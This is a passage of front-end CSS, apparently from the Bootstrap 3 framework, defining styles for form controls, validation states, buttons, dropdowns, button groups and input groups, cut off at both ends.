30px;\n}\n.form-group-sm textarea.form-control,\n.form-group-sm select[multiple].form-control {\n  height: auto;\n}\n.form-group-sm .form-control-static {\n  height: 30px;\n  min-height: 32px;\n  padding: 6px 10px;\n  font-size: 12px;\n  line-height: 1.5;\n}\n.input-lg {\n  height: 46px;\n  padding: 10px 16px;\n  font-size: 18px;\n  line-height: 1.3333333;\n  border-radius: 6px;\n}\nselect.input-lg {\n  height: 46px;\n  line-height: 46px;\n}\ntextarea.input-lg,\nselect[multiple].input-lg {\n  height: auto;\n}\n.form-group-lg .form-control {\n  height: 46px;\n  padding: 10px 16px;\n  font-size: 18px;\n  line-height: 1.3333333;\n  border-radius: 6px;\n}\n.form-group-lg select.form-control {\n  height: 46px;\n  line-height: 46px;\n}\n.form-group-lg textarea.form-control,\n.form-group-lg select[multiple].form-control {\n  height: auto;\n}\n.form-group-lg .form-control-static {\n  height: 46px;\n  min-height: 38px;\n  padding: 11px 16px;\n  font-size: 18px;\n  line-height: 1.3333333;\n}\n.has-feedback {\n  position: relative;\n}\n.has-feedback .form-control {\n  padding-right: 42.5px;\n}\n.form-control-feedback {\n  position: absolute;\n  top: 0;\n  right: 0;\n  z-index: 2;\n  display: block;\n  width: 34px;\n  height: 34px;\n  line-height: 34px;\n  text-align: center;\n  pointer-events: none;\n}\n.input-lg + .form-control-feedback,\n.input-group-lg + .form-control-feedback,\n.form-group-lg .form-control + .form-control-feedback {\n  width: 46px;\n  height: 46px;\n  line-height: 46px;\n}\n.input-sm + .form-control-feedback,\n.input-group-sm + .form-control-feedback,\n.form-group-sm .form-control + .form-control-feedback {\n  width: 30px;\n  height: 30px;\n  line-height: 30px;\n}\n.has-success .help-block,\n.has-success .control-label,\n.has-success .radio,\n.has-success .checkbox,\n.has-success .radio-inline,\n.has-success .checkbox-inline,\n.has-success.radio label,\n.has-success.checkbox label,\n.has-success.radio-inline label,\n.has-success.checkbox-inline label {\n  color: #3c763d;\n}\n.has-success .form-control {\n  border-color: #3c763d;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n}\n.has-success .form-control:focus {\n  border-color: #2b542c;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #67b168;\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #67b168;\n}\n.has-success .input-group-addon {\n  color: #3c763d;\n  background-color: #dff0d8;\n  border-color: #3c763d;\n}\n.has-success .form-control-feedback {\n  color: #3c763d;\n}\n.has-warning .help-block,\n.has-warning .control-label,\n.has-warning .radio,\n.has-warning .checkbox,\n.has-warning .radio-inline,\n.has-warning .checkbox-inline,\n.has-warning.radio label,\n.has-warning.checkbox label,\n.has-warning.radio-inline label,\n.has-warning.checkbox-inline label {\n  color: #8a6d3b;\n}\n.has-warning .form-control {\n  border-color: #8a6d3b;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n}\n.has-warning .form-control:focus {\n  border-color: #66512c;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #c0a16b;\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #c0a16b;\n}\n.has-warning .input-group-addon {\n  color: #8a6d3b;\n  background-color: #fcf8e3;\n  border-color: #8a6d3b;\n}\n.has-warning .form-control-feedback {\n  color: #8a6d3b;\n}\n.has-error .help-block,\n.has-error .control-label,\n.has-error .radio,\n.has-error .checkbox,\n.has-error .radio-inline,\n.has-error .checkbox-inline,\n.has-error.radio label,\n.has-error.checkbox label,\n.has-error.radio-inline label,\n.has-error.checkbox-inline label {\n  color: #a94442;\n}\n.has-error .form-control {\n  border-color: #a94442;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n}\n.has-error .form-control:focus {\n  border-color: #843534;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #ce8483;\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #ce8483;\n}\n.has-error .input-group-addon {\n  color: #a94442;\n  background-color: #f2dede;\n  border-color: #a94442;\n}\n.has-error .form-control-feedback {\n  color: #a94442;\n}\n.has-feedback label ~ .form-control-feedback {\n  top: 25px;\n}\n.has-feedback label.sr-only ~ .form-control-feedback {\n  top: 0;\n}\n.help-block {\n  display: block;\n  margin-top: 5px;\n  margin-bottom: 10px;\n  color: #737373;\n}\n@media (min-width: 768px) {\n  .form-inline .form-group {\n    display: inline-block;\n    margin-bottom: 0;\n    vertical-align: middle;\n  }\n  .form-inline .form-control {\n    display: inline-block;\n    width: auto;\n    vertical-align: middle;\n  }\n  .form-inline .form-control-static {\n    display: inline-block;\n  }\n  .form-inline .input-group {\n    display: inline-table;\n    vertical-align: middle;\n  }\n  .form-inline .input-group .input-group-addon,\n  .form-inline .input-group .input-group-btn,\n  .form-inline .input-group .form-control {\n    width: auto;\n  }\n  .form-inline .input-group > .form-control {\n    width: 100%;\n  }\n  .form-inline .control-label {\n    margin-bottom: 0;\n    vertical-align: middle;\n  }\n  .form-inline .radio,\n  .form-inline .checkbox {\n    display: inline-block;\n    margin-top: 0;\n    margin-bottom: 0;\n    vertical-align: middle;\n  }\n  .form-inline .radio label,\n  .form-inline .checkbox label {\n    padding-left: 0;\n  }\n  .form-inline .radio input[type=\"radio\"],\n  .form-inline .checkbox input[type=\"checkbox\"] {\n    position: relative;\n    margin-left: 0;\n  }\n  .form-inline .has-feedback .form-control-feedback {\n    top: 0;\n  }\n}\n.form-horizontal .radio,\n.form-horizontal .checkbox,\n.form-horizontal .radio-inline,\n.form-horizontal .checkbox-inline {\n  padding-top: 7px;\n  margin-top: 0;\n  margin-bottom: 0;\n}\n.form-horizontal .radio,\n.form-horizontal .checkbox {\n  min-height: 27px;\n}\n.form-horizontal .form-group {\n  margin-right: -15px;\n  margin-left: -15px;\n}\n@media (min-width: 768px) {\n  .form-horizontal .control-label {\n    padding-top: 7px;\n    margin-bottom: 0;\n    text-align: right;\n  }\n}\n.form-horizontal .has-feedback .form-control-feedback {\n  right: 15px;\n}\n@media (min-width: 768px) {\n  .form-horizontal .form-group-lg .control-label {\n    padding-top: 14.333333px;\n    font-size: 18px;\n  }\n}\n@media (min-width: 768px) {\n  .form-horizontal .form-group-sm .control-label {\n    padding-top: 6px;\n    font-size: 12px;\n  }\n}\n.btn {\n  display: inline-block;\n  padding: 6px 12px;\n  margin-bottom: 0;\n  font-size: 14px;\n  font-weight: normal;\n  line-height: 1.42857143;\n  text-align: center;\n  white-space: nowrap;\n  vertical-align: middle;\n  -ms-touch-action: manipulation;\n      touch-action: manipulation;\n  cursor: pointer;\n  -webkit-user-select: none;\n     -moz-user-select: none;\n      -ms-user-select: none;\n          user-select: none;\n  background-image: none;\n  border: 1px solid transparent;\n  border-radius: 4px;\n}\n.btn:focus,\n.btn:active:focus,\n.btn.active:focus,\n.btn.focus,\n.btn:active.focus,\n.btn.active.focus {\n  outline: thin dotted;\n  outline: 5px auto -webkit-focus-ring-color;\n  outline-offset: -2px;\n}\n.btn:hover,\n.btn:focus,\n.btn.focus {\n  color: #333;\n  text-decoration: none;\n}\n.btn:active,\n.btn.active {\n  background-image: none;\n  outline: 0;\n  -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125);\n          box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125);\n}\n.btn.disabled,\n.btn[disabled],\nfieldset[disabled] .btn {\n  cursor: not-allowed;\n  filter: alpha(opacity=65);\n  -webkit-box-shadow: none;\n          box-shadow: none;\n  opacity: .65;\n}\na.btn.disabled,\nfieldset[disabled] a.btn {\n  pointer-events: none;\n}\n.btn-default {\n  color: #333;\n  background-color: #fff;\n  border-color: #ccc;\n}\n.btn-default:focus,\n.btn-default.focus {\n  color: #333;\n  background-color: #e6e6e6;\n  border-color: #8c8c8c;\n}\n.btn-default:hover {\n  color: #333;\n  background-color: #e6e6e6;\n  border-color: #adadad;\n}\n.btn-default:active,\n.btn-default.active,\n.open > .dropdown-toggle.btn-default {\n  color: #333;\n  background-color: #e6e6e6;\n  border-color: #adadad;\n}\n.btn-default:active:hover,\n.btn-default.active:hover,\n.open > .dropdown-toggle.btn-default:hover,\n.btn-default:active:focus,\n.btn-default.active:focus,\n.open > .dropdown-toggle.btn-default:focus,\n.btn-default:active.focus,\n.btn-default.active.focus,\n.open > .dropdown-toggle.btn-default.focus {\n  color: #333;\n  background-color: #d4d4d4;\n  border-color: #8c8c8c;\n}\n.btn-default:active,\n.btn-default.active,\n.open > .dropdown-toggle.btn-default {\n  background-image: none;\n}\n.btn-default.disabled,\n.btn-default[disabled],\nfieldset[disabled] .btn-default,\n.btn-default.disabled:hover,\n.btn-default[disabled]:hover,\nfieldset[disabled] .btn-default:hover,\n.btn-default.disabled:focus,\n.btn-default[disabled]:focus,\nfieldset[disabled] .btn-default:focus,\n.btn-default.disabled.focus,\n.btn-default[disabled].focus,\nfieldset[disabled] .btn-default.focus,\n.btn-default.disabled:active,\n.btn-default[disabled]:active,\nfieldset[disabled] .btn-default:active,\n.btn-default.disabled.active,\n.btn-default[disabled].active,\nfieldset[disabled] .btn-default.active {\n  background-color: #fff;\n  border-color: #ccc;\n}\n.btn-default .badge {\n  color: #fff;\n  background-color: #333;\n}\n.btn-primary {\n  color: #fff;\n  background-color: #337ab7;\n  border-color: #2e6da4;\n}\n.btn-primary:focus,\n.btn-primary.focus {\n  color: #fff;\n  background-color: #286090;\n  border-color: #122b40;\n}\n.btn-primary:hover {\n  color: #fff;\n  background-color: #286090;\n  border-color: #204d74;\n}\n.btn-primary:active,\n.btn-primary.active,\n.open > .dropdown-toggle.btn-primary {\n  color: #fff;\n  background-color: #286090;\n  border-color: #204d74;\n}\n.btn-primary:active:hover,\n.btn-primary.active:hover,\n.open > .dropdown-toggle.btn-primary:hover,\n.btn-primary:active:focus,\n.btn-primary.active:focus,\n.open > .dropdown-toggle.btn-primary:focus,\n.btn-primary:active.focus,\n.btn-primary.active.focus,\n.open > .dropdown-toggle.btn-primary.focus {\n  color: #fff;\n  background-color: #204d74;\n  border-color: #122b40;\n}\n.btn-primary:active,\n.btn-primary.active,\n.open > .dropdown-toggle.btn-primary {\n  background-image: none;\n}\n.btn-primary.disabled,\n.btn-primary[disabled],\nfieldset[disabled] .btn-primary,\n.btn-primary.disabled:hover,\n.btn-primary[disabled]:hover,\nfieldset[disabled] .btn-primary:hover,\n.btn-primary.disabled:focus,\n.btn-primary[disabled]:focus,\nfieldset[disabled] .btn-primary:focus,\n.btn-primary.disabled.focus,\n.btn-primary[disabled].focus,\nfieldset[disabled] .btn-primary.focus,\n.btn-primary.disabled:active,\n.btn-primary[disabled]:active,\nfieldset[disabled] .btn-primary:active,\n.btn-primary.disabled.active,\n.btn-primary[disabled].active,\nfieldset[disabled] .btn-primary.active {\n  background-color: #337ab7;\n  border-color: #2e6da4;\n}\n.btn-primary .badge {\n  color: #337ab7;\n  background-color: #fff;\n}\n.btn-success {\n  color: #fff;\n  background-color: #5cb85c;\n  border-color: #4cae4c;\n}\n.btn-success:focus,\n.btn-success.focus {\n  color: #fff;\n  background-color: #449d44;\n  border-color: #255625;\n}\n.btn-success:hover {\n  color: #fff;\n  background-color: #449d44;\n  border-color: #398439;\n}\n.btn-success:active,\n.btn-success.active,\n.open > .dropdown-toggle.btn-success {\n  color: #fff;\n  background-color: #449d44;\n  border-color: #398439;\n}\n.btn-success:active:hover,\n.btn-success.active:hover,\n.open > .dropdown-toggle.btn-success:hover,\n.btn-success:active:focus,\n.btn-success.active:focus,\n.open > .dropdown-toggle.btn-success:focus,\n.btn-success:active.focus,\n.btn-success.active.focus,\n.open > .dropdown-toggle.btn-success.focus {\n  color: #fff;\n  background-color: #398439;\n  border-color: #255625;\n}\n.btn-success:active,\n.btn-success.active,\n.open > .dropdown-toggle.btn-success {\n  background-image: none;\n}\n.btn-success.disabled,\n.btn-success[disabled],\nfieldset[disabled] .btn-success,\n.btn-success.disabled:hover,\n.btn-success[disabled]:hover,\nfieldset[disabled] .btn-success:hover,\n.btn-success.disabled:focus,\n.btn-success[disabled]:focus,\nfieldset[disabled] .btn-success:focus,\n.btn-success.disabled.focus,\n.btn-success[disabled].focus,\nfieldset[disabled] .btn-success.focus,\n.btn-success.disabled:active,\n.btn-success[disabled]:active,\nfieldset[disabled] .btn-success:active,\n.btn-success.disabled.active,\n.btn-success[disabled].active,\nfieldset[disabled] .btn-success.active {\n  background-color: #5cb85c;\n  border-color: #4cae4c;\n}\n.btn-success .badge {\n  color: #5cb85c;\n  background-color: #fff;\n}\n.btn-info {\n  color: #fff;\n  background-color: #5bc0de;\n  border-color: #46b8da;\n}\n.btn-info:focus,\n.btn-info.focus {\n  color: #fff;\n  background-color: #31b0d5;\n  border-color: #1b6d85;\n}\n.btn-info:hover {\n  color: #fff;\n  background-color: #31b0d5;\n  border-color: #269abc;\n}\n.btn-info:active,\n.btn-info.active,\n.open > .dropdown-toggle.btn-info {\n  color: #fff;\n  background-color: #31b0d5;\n  border-color: #269abc;\n}\n.btn-info:active:hover,\n.btn-info.active:hover,\n.open > .dropdown-toggle.btn-info:hover,\n.btn-info:active:focus,\n.btn-info.active:focus,\n.open > .dropdown-toggle.btn-info:focus,\n.btn-info:active.focus,\n.btn-info.active.focus,\n.open > .dropdown-toggle.btn-info.focus {\n  color: #fff;\n  background-color: #269abc;\n  border-color: #1b6d85;\n}\n.btn-info:active,\n.btn-info.active,\n.open > .dropdown-toggle.btn-info {\n  background-image: none;\n}\n.btn-info.disabled,\n.btn-info[disabled],\nfieldset[disabled] .btn-info,\n.btn-info.disabled:hover,\n.btn-info[disabled]:hover,\nfieldset[disabled] .btn-info:hover,\n.btn-info.disabled:focus,\n.btn-info[disabled]:focus,\nfieldset[disabled] .btn-info:focus,\n.btn-info.disabled.focus,\n.btn-info[disabled].focus,\nfieldset[disabled] .btn-info.focus,\n.btn-info.disabled:active,\n.btn-info[disabled]:active,\nfieldset[disabled] .btn-info:active,\n.btn-info.disabled.active,\n.btn-info[disabled].active,\nfieldset[disabled] .btn-info.active {\n  background-color: #5bc0de;\n  border-color: #46b8da;\n}\n.btn-info .badge {\n  color: #5bc0de;\n  background-color: #fff;\n}\n.btn-warning {\n  color: #fff;\n  background-color: #f0ad4e;\n  border-color: #eea236;\n}\n.btn-warning:focus,\n.btn-warning.focus {\n  color: #fff;\n  background-color: #ec971f;\n  border-color: #985f0d;\n}\n.btn-warning:hover {\n  color: #fff;\n  background-color: #ec971f;\n  border-color: #d58512;\n}\n.btn-warning:active,\n.btn-warning.active,\n.open > .dropdown-toggle.btn-warning {\n  color: #fff;\n  background-color: #ec971f;\n  border-color: #d58512;\n}\n.btn-warning:active:hover,\n.btn-warning.active:hover,\n.open > .dropdown-toggle.btn-warning:hover,\n.btn-warning:active:focus,\n.btn-warning.active:focus,\n.open > .dropdown-toggle.btn-warning:focus,\n.btn-warning:active.focus,\n.btn-warning.active.focus,\n.open > .dropdown-toggle.btn-warning.focus {\n  color: #fff;\n  background-color: #d58512;\n  border-color: #985f0d;\n}\n.btn-warning:active,\n.btn-warning.active,\n.open > .dropdown-toggle.btn-warning {\n  background-image: none;\n}\n.btn-warning.disabled,\n.btn-warning[disabled],\nfieldset[disabled] .btn-warning,\n.btn-warning.disabled:hover,\n.btn-warning[disabled]:hover,\nfieldset[disabled] .btn-warning:hover,\n.btn-warning.disabled:focus,\n.btn-warning[disabled]:focus,\nfieldset[disabled] .btn-warning:focus,\n.btn-warning.disabled.focus,\n.btn-warning[disabled].focus,\nfieldset[disabled] .btn-warning.focus,\n.btn-warning.disabled:active,\n.btn-warning[disabled]:active,\nfieldset[disabled] .btn-warning:active,\n.btn-warning.disabled.active,\n.btn-warning[disabled].active,\nfieldset[disabled] .btn-warning.active {\n  background-color: #f0ad4e;\n  border-color: #eea236;\n}\n.btn-warning .badge {\n  color: #f0ad4e;\n  background-color: #fff;\n}\n.btn-danger {\n  color: #fff;\n  background-color: #d9534f;\n  border-color: #d43f3a;\n}\n.btn-danger:focus,\n.btn-danger.focus {\n  color: #fff;\n  background-color: #c9302c;\n  border-color: #761c19;\n}\n.btn-danger:hover {\n  color: #fff;\n  background-color: #c9302c;\n  border-color: #ac2925;\n}\n.btn-danger:active,\n.btn-danger.active,\n.open > .dropdown-toggle.btn-danger {\n  color: #fff;\n  background-color: #c9302c;\n  border-color: #ac2925;\n}\n.btn-danger:active:hover,\n.btn-danger.active:hover,\n.open > .dropdown-toggle.btn-danger:hover,\n.btn-danger:active:focus,\n.btn-danger.active:focus,\n.open > .dropdown-toggle.btn-danger:focus,\n.btn-danger:active.focus,\n.btn-danger.active.focus,\n.open > .dropdown-toggle.btn-danger.focus {\n  color: #fff;\n  background-color: #ac2925;\n  border-color: #761c19;\n}\n.btn-danger:active,\n.btn-danger.active,\n.open > .dropdown-toggle.btn-danger {\n  background-image: none;\n}\n.btn-danger.disabled,\n.btn-danger[disabled],\nfieldset[disabled] .btn-danger,\n.btn-danger.disabled:hover,\n.btn-danger[disabled]:hover,\nfieldset[disabled] .btn-danger:hover,\n.btn-danger.disabled:focus,\n.btn-danger[disabled]:focus,\nfieldset[disabled] .btn-danger:focus,\n.btn-danger.disabled.focus,\n.btn-danger[disabled].focus,\nfieldset[disabled] .btn-danger.focus,\n.btn-danger.disabled:active,\n.btn-danger[disabled]:active,\nfieldset[disabled] .btn-danger:active,\n.btn-danger.disabled.active,\n.btn-danger[disabled].active,\nfieldset[disabled] .btn-danger.active {\n  background-color: #d9534f;\n  border-color: #d43f3a;\n}\n.btn-danger .badge {\n  color: #d9534f;\n  background-color: #fff;\n}\n.btn-link {\n  font-weight: normal;\n  color: #337ab7;\n  border-radius: 0;\n}\n.btn-link,\n.btn-link:active,\n.btn-link.active,\n.btn-link[disabled],\nfieldset[disabled] .btn-link {\n  background-color: transparent;\n  -webkit-box-shadow: none;\n          box-shadow: none;\n}\n.btn-link,\n.btn-link:hover,\n.btn-link:focus,\n.btn-link:active {\n  border-color: transparent;\n}\n.btn-link:hover,\n.btn-link:focus {\n  color: #23527c;\n  text-decoration: underline;\n  background-color: transparent;\n}\n.btn-link[disabled]:hover,\nfieldset[disabled] .btn-link:hover,\n.btn-link[disabled]:focus,\nfieldset[disabled] .btn-link:focus {\n  color: #777;\n  text-decoration: none;\n}\n.btn-lg,\n.btn-group-lg > .btn {\n  padding: 10px 16px;\n  font-size: 18px;\n  line-height: 1.3333333;\n  border-radius: 6px;\n}\n.btn-sm,\n.btn-group-sm > .btn {\n  padding: 5px 10px;\n  font-size: 12px;\n  line-height: 1.5;\n  border-radius: 3px;\n}\n.btn-xs,\n.btn-group-xs > .btn {\n  padding: 1px 5px;\n  font-size: 12px;\n  line-height: 1.5;\n  border-radius: 3px;\n}\n.btn-block {\n  display: block;\n  width: 100%;\n}\n.btn-block + .btn-block {\n  margin-top: 5px;\n}\ninput[type=\"submit\"].btn-block,\ninput[type=\"reset\"].btn-block,\ninput[type=\"button\"].btn-block {\n  width: 100%;\n}\n.fade {\n  opacity: 0;\n  -webkit-transition: opacity .15s linear;\n       -o-transition: opacity .15s linear;\n          transition: opacity .15s linear;\n}\n.fade.in {\n  opacity: 1;\n}\n.collapse {\n  display: none;\n}\n.collapse.in {\n  display: block;\n}\ntr.collapse.in {\n  display: table-row;\n}\ntbody.collapse.in {\n  display: table-row-group;\n}\n.collapsing {\n  position: relative;\n  height: 0;\n  overflow: hidden;\n  -webkit-transition-timing-function: ease;\n       -o-transition-timing-function: ease;\n          transition-timing-function: ease;\n  -webkit-transition-duration: .35s;\n       -o-transition-duration: .35s;\n          transition-duration: .35s;\n  -webkit-transition-property: height, visibility;\n       -o-transition-property: height, visibility;\n          transition-property: height, visibility;\n}\n.caret {\n  display: inline-block;\n  width: 0;\n  height: 0;\n  margin-left: 2px;\n  vertical-align: middle;\n  border-top: 4px dashed;\n  border-top: 4px solid \\9;\n  border-right: 4px solid transparent;\n  border-left: 4px solid transparent;\n}\n.dropup,\n.dropdown {\n  position: relative;\n}\n.dropdown-toggle:focus {\n  outline: 0;\n}\n.dropdown-menu {\n  position: absolute;\n  top: 100%;\n  left: 0;\n  z-index: 1000;\n  display: none;\n  float: left;\n  min-width: 160px;\n  padding: 5px 0;\n  margin: 2px 0 0;\n  font-size: 14px;\n  text-align: left;\n  list-style: none;\n  background-color: #fff;\n  -webkit-background-clip: padding-box;\n          background-clip: padding-box;\n  border: 1px solid #ccc;\n  border: 1px solid rgba(0, 0, 0, .15);\n  border-radius: 4px;\n  -webkit-box-shadow: 0 6px 12px rgba(0, 0, 0, .175);\n          box-shadow: 0 6px 12px rgba(0, 0, 0, .175);\n}\n.dropdown-menu.pull-right {\n  right: 0;\n  left: auto;\n}\n.dropdown-menu .divider {\n  height: 1px;\n  margin: 9px 0;\n  overflow: hidden;\n  background-color: #e5e5e5;\n}\n.dropdown-menu > li > a {\n  display: block;\n  padding: 3px 20px;\n  clear: both;\n  font-weight: normal;\n  line-height: 1.42857143;\n  color: #333;\n  white-space: nowrap;\n}\n.dropdown-menu > li > a:hover,\n.dropdown-menu > li > a:focus {\n  color: #262626;\n  text-decoration: none;\n  background-color: #f5f5f5;\n}\n.dropdown-menu > .active > a,\n.dropdown-menu > .active > a:hover,\n.dropdown-menu > .active > a:focus {\n  color: #fff;\n  text-decoration: none;\n  background-color: #337ab7;\n  outline: 0;\n}\n.dropdown-menu > .disabled > a,\n.dropdown-menu > .disabled > a:hover,\n.dropdown-menu > .disabled > a:focus {\n  color: #777;\n}\n.dropdown-menu > .disabled > a:hover,\n.dropdown-menu > .disabled > a:focus {\n  text-decoration: none;\n  cursor: not-allowed;\n  background-color: transparent;\n  background-image: none;\n  filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n}\n.open > .dropdown-menu {\n  display: block;\n}\n.open > a {\n  outline: 0;\n}\n.dropdown-menu-right {\n  right: 0;\n  left: auto;\n}\n.dropdown-menu-left {\n  right: auto;\n  left: 0;\n}\n.dropdown-header {\n  display: block;\n  padding: 3px 20px;\n  font-size: 12px;\n  line-height: 1.42857143;\n  color: #777;\n  white-space: nowrap;\n}\n.dropdown-backdrop {\n  position: fixed;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  z-index: 990;\n}\n.pull-right > .dropdown-menu {\n  right: 0;\n  left: auto;\n}\n.dropup .caret,\n.navbar-fixed-bottom .dropdown .caret {\n  content: \"\";\n  border-top: 0;\n  border-bottom: 4px dashed;\n  border-bottom: 4px solid \\9;\n}\n.dropup .dropdown-menu,\n.navbar-fixed-bottom .dropdown .dropdown-menu {\n  top: auto;\n  bottom: 100%;\n  margin-bottom: 2px;\n}\n@media (min-width: 768px) {\n  .navbar-right .dropdown-menu {\n    right: 0;\n    left: auto;\n  }\n  .navbar-right .dropdown-menu-left {\n    right: auto;\n    left: 0;\n  }\n}\n.btn-group,\n.btn-group-vertical {\n  position: relative;\n  display: inline-block;\n  vertical-align: middle;\n}\n.btn-group > .btn,\n.btn-group-vertical > .btn {\n  position: relative;\n  float: left;\n}\n.btn-group > .btn:hover,\n.btn-group-vertical > .btn:hover,\n.btn-group > .btn:focus,\n.btn-group-vertical > .btn:focus,\n.btn-group > .btn:active,\n.btn-group-vertical > .btn:active,\n.btn-group > .btn.active,\n.btn-group-vertical > .btn.active {\n  z-index: 2;\n}\n.btn-group .btn + .btn,\n.btn-group .btn + .btn-group,\n.btn-group .btn-group + .btn,\n.btn-group .btn-group + .btn-group {\n  margin-left: -1px;\n}\n.btn-toolbar {\n  margin-left: -5px;\n}\n.btn-toolbar .btn,\n.btn-toolbar .btn-group,\n.btn-toolbar .input-group {\n  float: left;\n}\n.btn-toolbar > .btn,\n.btn-toolbar > .btn-group,\n.btn-toolbar > .input-group {\n  margin-left: 5px;\n}\n.btn-group > .btn:not(:first-child):not(:last-child):not(.dropdown-toggle) {\n  border-radius: 0;\n}\n.btn-group > .btn:first-child {\n  margin-left: 0;\n}\n.btn-group > .btn:first-child:not(:last-child):not(.dropdown-toggle) {\n  border-top-right-radius: 0;\n  border-bottom-right-radius: 0;\n}\n.btn-group > .btn:last-child:not(:first-child),\n.btn-group > .dropdown-toggle:not(:first-child) {\n  border-top-left-radius: 0;\n  border-bottom-left-radius: 0;\n}\n.btn-group > .btn-group {\n  float: left;\n}\n.btn-group > .btn-group:not(:first-child):not(:last-child) > .btn {\n  border-radius: 0;\n}\n.btn-group > .btn-group:first-child:not(:last-child) > .btn:last-child,\n.btn-group > .btn-group:first-child:not(:last-child) > .dropdown-toggle {\n  border-top-right-radius: 0;\n  border-bottom-right-radius: 0;\n}\n.btn-group > .btn-group:last-child:not(:first-child) > .btn:first-child {\n  border-top-left-radius: 0;\n  border-bottom-left-radius: 0;\n}\n.btn-group .dropdown-toggle:active,\n.btn-group.open .dropdown-toggle {\n  outline: 0;\n}\n.btn-group > .btn + .dropdown-toggle {\n  padding-right: 8px;\n  padding-left: 8px;\n}\n.btn-group > .btn-lg + .dropdown-toggle {\n  padding-right: 12px;\n  padding-left: 12px;\n}\n.btn-group.open .dropdown-toggle {\n  -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125);\n          box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125);\n}\n.btn-group.open .dropdown-toggle.btn-link {\n  -webkit-box-shadow: none;\n          box-shadow: none;\n}\n.btn .caret {\n  margin-left: 0;\n}\n.btn-lg .caret {\n  border-width: 5px 5px 0;\n  border-bottom-width: 0;\n}\n.dropup .btn-lg .caret {\n  border-width: 0 5px 5px;\n}\n.btn-group-vertical > .btn,\n.btn-group-vertical > .btn-group,\n.btn-group-vertical > .btn-group > .btn {\n  display: block;\n  float: none;\n  width: 100%;\n  max-width: 100%;\n}\n.btn-group-vertical > .btn-group > .btn {\n  float: none;\n}\n.btn-group-vertical > .btn + .btn,\n.btn-group-vertical > .btn + .btn-group,\n.btn-group-vertical > .btn-group + .btn,\n.btn-group-vertical > .btn-group + .btn-group {\n  margin-top: -1px;\n  margin-left: 0;\n}\n.btn-group-vertical > .btn:not(:first-child):not(:last-child) {\n  border-radius: 0;\n}\n.btn-group-vertical > .btn:first-child:not(:last-child) {\n  border-top-right-radius: 4px;\n  border-bottom-right-radius: 0;\n  border-bottom-left-radius: 0;\n}\n.btn-group-vertical > .btn:last-child:not(:first-child) {\n  border-top-left-radius: 0;\n  border-top-right-radius: 0;\n  border-bottom-left-radius: 4px;\n}\n.btn-group-vertical > .btn-group:not(:first-child):not(:last-child) > .btn {\n  border-radius: 0;\n}\n.btn-group-vertical > .btn-group:first-child:not(:last-child) > .btn:last-child,\n.btn-group-vertical > .btn-group:first-child:not(:last-child) > .dropdown-toggle {\n  border-bottom-right-radius: 0;\n  border-bottom-left-radius: 0;\n}\n.btn-group-vertical > .btn-group:last-child:not(:first-child) > .btn:first-child {\n  border-top-left-radius: 0;\n  border-top-right-radius: 0;\n}\n.btn-group-justified {\n  display: table;\n  width: 100%;\n  table-layout: fixed;\n  border-collapse: separate;\n}\n.btn-group-justified > .btn,\n.btn-group-justified > .btn-group {\n  display: table-cell;\n  float: none;\n  width: 1%;\n}\n.btn-group-justified > .btn-group .btn {\n  width: 100%;\n}\n.btn-group-justified > .btn-group .dropdown-menu {\n  left: auto;\n}\n[data-toggle=\"buttons\"] > .btn input[type=\"radio\"],\n[data-toggle=\"buttons\"] > .btn-group > .btn input[type=\"radio\"],\n[data-toggle=\"buttons\"] > .btn input[type=\"checkbox\"],\n[data-toggle=\"buttons\"] > .btn-group > .btn input[type=\"checkbox\"] {\n  position: absolute;\n  clip: rect(0, 0, 0, 0);\n  pointer-events: none;\n}\n.input-group {\n  position: relative;\n  display: table;\n  border-collapse: separate;\n}\n.input-group[class*=\"col-\"] {\n  float: none;\n  padding-right: 0;\n  padding-left: 0;\n}\n.input-group .form-control {\n  position: relative;\n  z-index: 2;\n  float: left;\n  width: 100%;\n  margin-bottom: 0;\n}\n.input-group-lg > .form-control,\n.input-group-lg > .input-group-addon,\n.input-group-lg > .input-group-btn > .btn {\n  height: 46px;\n  padding: 10px 16px;\n  font-size: 18px;\n  line-height: 1.3333333;\n  border-radius: 6px;\n}\nselect.input-group-lg > .form-control,\nselect.input-group-lg > .input-group-addon,\nselect.input-group-lg > .input-group-btn > .btn {\n  height: 46px;\n  line-height: 46px;\n}\ntextarea.input-group-lg > .form-control,\ntextarea.input-group-lg > .input-group-addon,\ntextarea.input-group-lg > .input-group-btn > .btn,\nselect[multiple].input-group-lg > .form-control,\nselect[multiple].input-group-lg > .input-group-addon,\nselect[multiple].input-group-lg > .input-group-btn > .btn {\n  height: auto;\n}\n.input-group-sm > .form-control,\n.input-group-sm > .input-group-addon,\n.input-group-sm > .input-group-btn > .btn {\n  height: 30px;\n  padding: 5px 10px;\n  font-size: 12px;\n  line-height: 1.5;\n  border-radius: 3px;\n}\nselect.input-group-sm > .form-control,\nselect.input-group-sm > .input-group-addon,\nselect.input-group-sm > .input-group-btn > .btn {\n  height: 30px;\n  line-height: 30px;\n}\ntextarea.input-group-sm > .form-control,\ntextarea.input-group-sm > .input-group-addon,\ntextarea.input-group-sm > .input-group-btn > .btn,\nselect[multiple].input-group-sm > .form-control,\nselect[multiple].input-group-sm > .input-group-addon,\nselect[multiple].input-group-sm > .input-group-btn > .btn {\n  height: auto;\n}\n.input-group-addon,\n.input-group-btn,\n.input-group .form-control {\n  display: 